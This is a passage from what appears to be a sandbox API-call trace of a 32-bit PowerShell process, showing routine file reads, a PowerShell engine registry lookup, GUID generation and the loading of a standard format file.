lpOverlapped=0x0) returned 1 [0062.721] GetLastError () returned 0x0 [0062.721] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.721] GetLastError () returned 0x0 [0062.721] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.721] GetLastError () returned 0x0 [0062.721] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.721] GetLastError () returned 0x0 [0062.722] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.722] GetLastError () returned 0x0 [0062.722] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.722] GetLastError () returned 0x0 [0062.723] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.723] GetLastError () returned 0x0 [0062.723] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.723] GetLastError () returned 0x0 [0062.723] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.723] GetLastError () returned 0x0 [0062.723] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.723] GetLastError () returned 0x0 [0062.724] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.724] GetLastError () returned 0x0 [0062.724] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.724] GetLastError () returned 0x0 [0062.726] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.726] GetLastError () returned 0x0 [0062.726] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.726] GetLastError () returned 0x0 [0062.726] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.726] GetLastError () returned 0x0 [0062.727] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.727] GetLastError () returned 0x0 [0062.727] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0xe67, lpOverlapped=0x0) returned 1 [0062.727] GetLastError () returned 0x0 [0062.727] ReadFile (in: hFile=0x350, lpBuffer=0x3166b9f, nNumberOfBytesToRead=0x199, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3166b9f*, lpNumberOfBytesRead=0x14e6d4*=0x0, lpOverlapped=0x0) returned 1 [0062.727] GetLastError () returned 0x0 [0062.727] ReadFile (in: hFile=0x350, lpBuffer=0x3167598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3167598*, lpNumberOfBytesRead=0x14e6d4*=0x0, lpOverlapped=0x0) returned 1 [0062.727] GetLastError () returned 0x0 [0062.727] CloseHandle (hObject=0x350) returned 1 [0062.727] GetLastError () returned 0x0 [0062.728] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e658 | out: phkResult=0x14e658*=0x350) returned 0x0 [0062.728] RegQueryValueExW (in: hKey=0x350, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e6a0, lpData=0x0, lpcbData=0x14e69c*=0x0 | out: lpType=0x14e6a0*=0x1, lpData=0x0, lpcbData=0x14e69c*=0x56) returned 0x0 [0062.728] RegQueryValueExW (in: hKey=0x350, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e6a0, lpData=0x257278, lpcbData=0x14e69c*=0x56 | out: lpType=0x14e6a0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x14e69c*=0x56) returned 0x0 [0062.728] RegCloseKey (hKey=0x350) returned 0x0 [0062.732] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xe29b4b98, Data2=0x1262, Data3=0x42f3, Data4=([0]=0x96, [1]=0x9d, [2]=0xb0, [3]=0xe6, [4]=0x8a, [5]=0xc8, [6]=0xf2, [7]=0xd8))) returned 0x0 [0062.732] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xe51fd49d, Data2=0xb8b7, Data3=0x48c6, Data4=([0]=0xad, [1]=0xd8, [2]=0x39, [3]=0x9c, [4]=0x40, [5]=0x5a, [6]=0x73, [7]=0x9f))) returned 0x0 [0062.732] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x6a987b82, Data2=0x826a, Data3=0x41a0, Data4=([0]=0xbc, [1]=0xf3, [2]=0x20, [3]=0x75, [4]=0xeb, [5]=0x6d, [6]=0xd7, [7]=0x5a))) returned 0x0 [0062.732] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x5ef6314c, Data2=0x7638, Data3=0x4880, Data4=([0]=0x8e, [1]=0xab, [2]=0x7, [3]=0x1d, [4]=0xdb, [5]=0xe8, [6]=0x98, [7]=0x62))) returned 0x0 [0062.732] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x9a1c9f4c, Data2=0x6e93, Data3=0x4d36, Data4=([0]=0x93, [1]=0xaa, [2]=0xca, [3]=0xd7, [4]=0x51, [5]=0x84, [6]=0xa, [7]=0xca))) returned 0x0 [0062.732] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xe4603dbe, Data2=0x92bf, Data3=0x41b7, Data4=([0]=0x99, [1]=0xbb, [2]=0x91, [3]=0x9b, [4]=0x49, [5]=0xdf, [6]=0xa4, [7]=0x93))) returned 0x0 [0062.733] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x8f571500, Data2=0xe42c, Data3=0x4efc, Data4=([0]=0x9f, [1]=0xd6, [2]=0x68, [3]=0xba, [4]=0x15, [5]=0x6a, [6]=0x42, [7]=0x24))) returned 0x0 [0062.733] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xa2d5918b, Data2=0x943a, Data3=0x4095, Data4=([0]=0xa3, [1]=0x45, [2]=0x1d, [3]=0x5c, [4]=0xc4, [5]=0x28, [6]=0x23, [7]=0xa3))) returned 0x0 [0062.733] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x1be6b7d8, Data2=0xc309, Data3=0x44e1, Data4=([0]=0x9b, [1]=0x11, [2]=0xaf, [3]=0xe, [4]=0xe3, [5]=0x5c, [6]=0xf5, [7]=0x69))) returned 0x0 [0062.733] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xa3dbd9a6, Data2=0x3079, Data3=0x4771, Data4=([0]=0xa0, [1]=0x24, [2]=0x58, [3]=0x4f, [4]=0xed, [5]=0xf4, [6]=0xed, [7]=0xc4))) returned 0x0 [0062.733] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x3fa3bc2f, Data2=0x8870, Data3=0x4148, Data4=([0]=0x9b, [1]=0x5f, [2]=0x5a, [3]=0x3, [4]=0xaf, [5]=0xef, [6]=0xce, [7]=0xc0))) returned 0x0 [0062.733] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xc8353a0f, Data2=0x4efa, Data3=0x43a7, Data4=([0]=0x90, [1]=0x1e, [2]=0xb2, [3]=0xc2, [4]=0x60, [5]=0x76, [6]=0xf4, [7]=0xbe))) returned 0x0 [0062.734] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xa3d3db8c, Data2=0x1af5, Data3=0x434a, Data4=([0]=0xba, [1]=0x4d, [2]=0xc7, [3]=0x49, [4]=0x6c, [5]=0x18, [6]=0x0, [7]=0xe8))) returned 0x0 [0062.734] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x84572464, Data2=0xae16, Data3=0x493d, Data4=([0]=0x96, [1]=0xd2, [2]=0x2d, [3]=0x28, [4]=0x53, [5]=0x4f, [6]=0x7d, [7]=0xe3))) returned 0x0 [0062.734] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xba4e4501, Data2=0xc03e, Data3=0x4f0f, Data4=([0]=0x84, [1]=0x2f, [2]=0xe1, [3]=0xba, [4]=0x2e, [5]=0xcf, [6]=0x13, [7]=0xfd))) returned 0x0 [0062.734] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xe513f5ae, Data2=0xb1bd, Data3=0x4cdd, Data4=([0]=0xb7, [1]=0xec, [2]=0x89, [3]=0x55, [4]=0xea, [5]=0x1a, [6]=0x75, [7]=0x22))) returned 0x0 [0062.734] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x5d0b4418, Data2=0xe92c, Data3=0x4904, Data4=([0]=0xb0, [1]=0xfa, [2]=0xe, [3]=0x65, [4]=0xa5, [5]=0x39, [6]=0xe7, [7]=0xe7))) returned 0x0 [0062.734] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xdb866420, Data2=0x7440, Data3=0x4f5e, Data4=([0]=0x97, [1]=0x87, [2]=0xe7, [3]=0x89, [4]=0x50, [5]=0xe5, [6]=0xab, [7]=0x33))) returned 0x0 [0062.735] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x3d7d65ea, Data2=0x6ad0, Data3=0x4f04, Data4=([0]=0xb6, [1]=0x67, [2]=0xe6, [3]=0xa6, [4]=0x12, [5]=0x79, [6]=0xbe, [7]=0xb))) returned 0x0 [0062.736] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xae55c7e8, Data2=0xe622, Data3=0x4764, Data4=([0]=0x82, [1]=0x81, [2]=0xd1, [3]=0x64, [4]=0xdb, [5]=0x50, [6]=0x13, [7]=0xa8))) returned 0x0 [0062.736] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x2ba0d20, Data2=0x6c2a, Data3=0x42de, Data4=([0]=0x87, [1]=0xa7, [2]=0x2, [3]=0x5f, [4]=0xbd, [5]=0xfb, [6]=0x39, [7]=0x60))) returned 0x0 [0062.736] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x784d1b57, Data2=0xdd8b, Data3=0x41d4, Data4=([0]=0x9e, [1]=0x69, [2]=0x88, [3]=0x3c, [4]=0x15, [5]=0xaa, [6]=0x1b, [7]=0xe2))) returned 0x0 [0062.737] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x892f80a1, Data2=0xa4d9, Data3=0x44d1, Data4=([0]=0x88, [1]=0x7a, [2]=0xe7, [3]=0x32, [4]=0xfd, [5]=0xed, [6]=0x3, [7]=0xb0))) returned 0x0 [0062.737] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xff271986, Data2=0x9fae, Data3=0x43a1, Data4=([0]=0xbd, [1]=0x59, [2]=0x30, [3]=0x91, [4]=0x4, [5]=0x20, [6]=0xf8, [7]=0xfe))) returned 0x0 [0062.737] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x191907ab, Data2=0xf7bc, Data3=0x4327, Data4=([0]=0x99, [1]=0x56, [2]=0xdc, [3]=0x76, [4]=0x6e, [5]=0x4e, [6]=0x87, [7]=0x37))) returned 0x0 [0062.737] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x84f2b984, Data2=0x6f0d, Data3=0x4009, Data4=([0]=0xb3, [1]=0x60, [2]=0x87, [3]=0x3c, [4]=0x83, [5]=0x4e, [6]=0xea, [7]=0xbb))) returned 0x0 [0062.737] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xe06a1808, Data2=0x2f14, Data3=0x4ac0, Data4=([0]=0x84, [1]=0x93, [2]=0x11, [3]=0x90, [4]=0xe2, [5]=0x36, [6]=0xca, [7]=0xb))) returned 0x0 [0062.737] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xac8fbab2, Data2=0xde82, Data3=0x43dd, Data4=([0]=0x95, [1]=0x50, [2]=0x8a, [3]=0x55, [4]=0x66, [5]=0xec, [6]=0xcd, [7]=0x1a))) returned 0x0 [0062.738] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x5fd26d6e, Data2=0x93f, Data3=0x49ac, Data4=([0]=0x87, [1]=0x72, [2]=0xac, [3]=0xc0, [4]=0x54, [5]=0x50, [6]=0x48, [7]=0xa3))) returned 0x0 [0062.738] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x2131245f, Data2=0xb72c, Data3=0x4cb3, Data4=([0]=0x95, [1]=0x51, [2]=0x99, [3]=0x4e, [4]=0x1e, [5]=0x9f, [6]=0x22, [7]=0xda))) returned 0x0 [0062.738] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xe0405b41, Data2=0x8661, Data3=0x4efd, Data4=([0]=0xb3, [1]=0xc1, [2]=0x62, [3]=0x91, [4]=0x3a, [5]=0xc3, [6]=0x1, [7]=0x1))) returned 0x0 [0062.738] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x2c138782, Data2=0x51e0, Data3=0x4c05, Data4=([0]=0xbb, [1]=0x6c, [2]=0x3e, [3]=0x6a, [4]=0xd4, [5]=0x1e, [6]=0xcf, [7]=0x2d))) returned 0x0 [0062.738] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xff8d9477, Data2=0xfbac, Data3=0x4b90, Data4=([0]=0x89, [1]=0x86, [2]=0x11, [3]=0xe2, [4]=0x58, [5]=0x6d, [6]=0x10, [7]=0x3e))) returned 0x0 [0062.741] VirtualQuery (in: lpAddress=0x14d420, lpBuffer=0x14e420, dwLength=0x1c | out: lpBuffer=0x14e420*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.745] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xc331ab7, Data2=0x48d, Data3=0x4d75, Data4=([0]=0x8f, [1]=0xd1, [2]=0x36, [3]=0xdb, [4]=0xcf, [5]=0x9c, [6]=0x23, [7]=0x29))) returned 0x0 [0062.745] VirtualQuery (in: lpAddress=0x14d420, lpBuffer=0x14e420, dwLength=0x1c | out: lpBuffer=0x14e420*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.745] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x21600bd7, Data2=0x12c2, Data3=0x47f4, Data4=([0]=0x8f, [1]=0x64, [2]=0xa7, [3]=0x21, [4]=0xe1, [5]=0xa6, [6]=0xa, [7]=0xf7))) returned 0x0 [0062.746] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xc4a44aae, Data2=0xcde3, Data3=0x458e, Data4=([0]=0xaa, [1]=0xbb, [2]=0xdf, [3]=0x3, [4]=0xff, [5]=0xf5, [6]=0x54, [7]=0xb))) returned 0x0 [0062.746] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x2d80635, Data2=0x8289, Data3=0x498a, Data4=([0]=0xaf, [1]=0xd5, [2]=0x0, [3]=0xbf, [4]=0x96, [5]=0xea, [6]=0x60, [7]=0xc4))) returned 0x0 [0062.746] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x24631b98, Data2=0xd4f, Data3=0x4b2a, Data4=([0]=0x94, [1]=0x95, [2]=0x0, [3]=0x42, [4]=0xca, [5]=0x28, [6]=0xf7, [7]=0xbf))) returned 0x0 [0062.746] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xced8f73b, Data2=0x4465, Data3=0x48d2, Data4=([0]=0xb3, [1]=0x83, [2]=0xa9, [3]=0x7b, [4]=0xb1, [5]=0xe8, [6]=0x13, [7]=0xca))) returned 0x0 [0062.746] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x42a46b38, Data2=0x1808, Data3=0x4ee0, Data4=([0]=0x96, [1]=0x8b, [2]=0x3d, [3]=0x4d, [4]=0x58, [5]=0x7, [6]=0xd6, [7]=0xe0))) returned 0x0 [0062.746] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xb1d73baf, Data2=0x6637, Data3=0x443a, Data4=([0]=0xae, [1]=0x28, [2]=0x86, [3]=0x4, [4]=0xcb, [5]=0x40, [6]=0x89, [7]=0xee))) returned 0x0 [0062.747] VirtualQuery (in: lpAddress=0x14d400, lpBuffer=0x14e400, dwLength=0x1c | out: lpBuffer=0x14e400*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.747] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xe374b124, Data2=0x3f19, Data3=0x4c65, Data4=([0]=0xa0, [1]=0x5, [2]=0x66, [3]=0xbf, [4]=0xa2, [5]=0x66, [6]=0x35, [7]=0x2d))) returned 0x0 [0062.747] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xdee160ef, Data2=0x2eba, Data3=0x4c1d, Data4=([0]=0xaa, [1]=0x4b, [2]=0xe8, [3]=0x3e, [4]=0x87, [5]=0x81, [6]=0x5e, [7]=0x3c))) returned 0x0 [0062.747] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xbb7a8f01, Data2=0x28b, Data3=0x47dd, Data4=([0]=0xb2, [1]=0x50, [2]=0x54, [3]=0x3f, [4]=0x97, [5]=0xa0, [6]=0x1b, [7]=0x72))) returned 0x0 [0062.748] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xe106e283, Data2=0xbe0a, Data3=0x46c1, Data4=([0]=0xbc, [1]=0xc8, [2]=0x46, [3]=0xbc, [4]=0x83, [5]=0x2f, [6]=0xc2, [7]=0x7f))) returned 0x0 [0062.748] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x246ab1c5, Data2=0x924, Data3=0x4f3e, Data4=([0]=0x9a, [1]=0x29, [2]=0x48, [3]=0x21, [4]=0x65, [5]=0x2, [6]=0x6a, [7]=0xe7))) returned 0x0 [0062.748] VirtualQuery (in: lpAddress=0x14d400, lpBuffer=0x14e400, dwLength=0x1c | out: lpBuffer=0x14e400*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.748] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xa8a4940d, Data2=0x5d94, Data3=0x42d8, Data4=([0]=0x86, [1]=0x5e, [2]=0x8, [3]=0x62, [4]=0xbd, [5]=0x26, [6]=0x7, [7]=0xf9))) returned 0x0 [0062.748] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x8c268176, Data2=0xbcd7, Data3=0x4989, Data4=([0]=0xab, [1]=0x78, [2]=0xbb, [3]=0x72, [4]=0x2, [5]=0x2, [6]=0x5d, [7]=0x79))) returned 0x0 [0062.748] VirtualQuery (in: lpAddress=0x14d428, lpBuffer=0x14e428, dwLength=0x1c | out: lpBuffer=0x14e428*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.748] VirtualQuery (in: lpAddress=0x14d428, lpBuffer=0x14e428, dwLength=0x1c | out: lpBuffer=0x14e428*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.749] VirtualQuery (in: lpAddress=0x14d428, lpBuffer=0x14e428, dwLength=0x1c | out: lpBuffer=0x14e428*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.749] VirtualQuery (in: lpAddress=0x14d428, lpBuffer=0x14e428, dwLength=0x1c | out: lpBuffer=0x14e428*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.749] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e16c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0062.749] GetLastError () returned 0x0 [0062.749] SetErrorMode (uMode=0x1) returned 0x1 [0062.749] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x350 [0062.750] GetLastError () returned 0x0 [0062.750] GetFileType (hFile=0x350) returned 0x1 [0062.750] SetErrorMode (uMode=0x1) returned 0x1 [0062.750] GetFileType (hFile=0x350) returned 0x1 [0062.750] ReadFile (in: hFile=0x350, lpBuffer=0x3257f70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3257f70*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.751] GetLastError () returned 0x0 [0062.752] ReadFile (in: hFile=0x350, lpBuffer=0x3257f70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3257f70*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.752] GetLastError () returned 0x0 [0062.753] ReadFile (in: hFile=0x350, lpBuffer=0x3257f70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3257f70*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.753] GetLastError () returned 0x0 [0062.753] ReadFile (in: hFile=0x350, lpBuffer=0x3257f70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3257f70*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.753] GetLastError () returned 0x0 [0062.754] ReadFile (in: hFile=0x350, lpBuffer=0x3257f70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3257f70*, lpNumberOfBytesRead=0x14e6d4*=0x8b4, lpOverlapped=0x0) returned 1 [0062.754] GetLastError () returned 0x0 [0062.754] ReadFile (in: hFile=0x350, lpBuffer=0x32573c4, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x32573c4*, lpNumberOfBytesRead=0x14e6d4*=0x0, lpOverlapped=0x0) returned 1 [0062.754] GetLastError () returned 0x0 [0062.754] ReadFile (in: hFile=0x350, lpBuffer=0x3257f70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x3257f70*, lpNumberOfBytesRead=0x14e6d4*=0x0, lpOverlapped=0x0) returned 1 [0062.754] GetLastError () returned 0x0 [0062.754] CloseHandle (hObject=0x350) returned 1 [0062.754] GetLastError () returned 0x0 [0062.754] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e234, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0062.754] GetLastError () returned 0x0 [0062.755] SetErrorMode (uMode=0x1) returned 0x1 [0062.755] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x3278f6c | out: lpFileInformation=0x3278f6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1a87f7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1a87f7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd36b30fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0062.755] GetLastError () returned 0x0 [0062.755] SetErrorMode (uMode=0x1) returned 0x1 [0062.755] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0062.755] GetLastError () returned 0x0 [0062.755] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e658 | out: 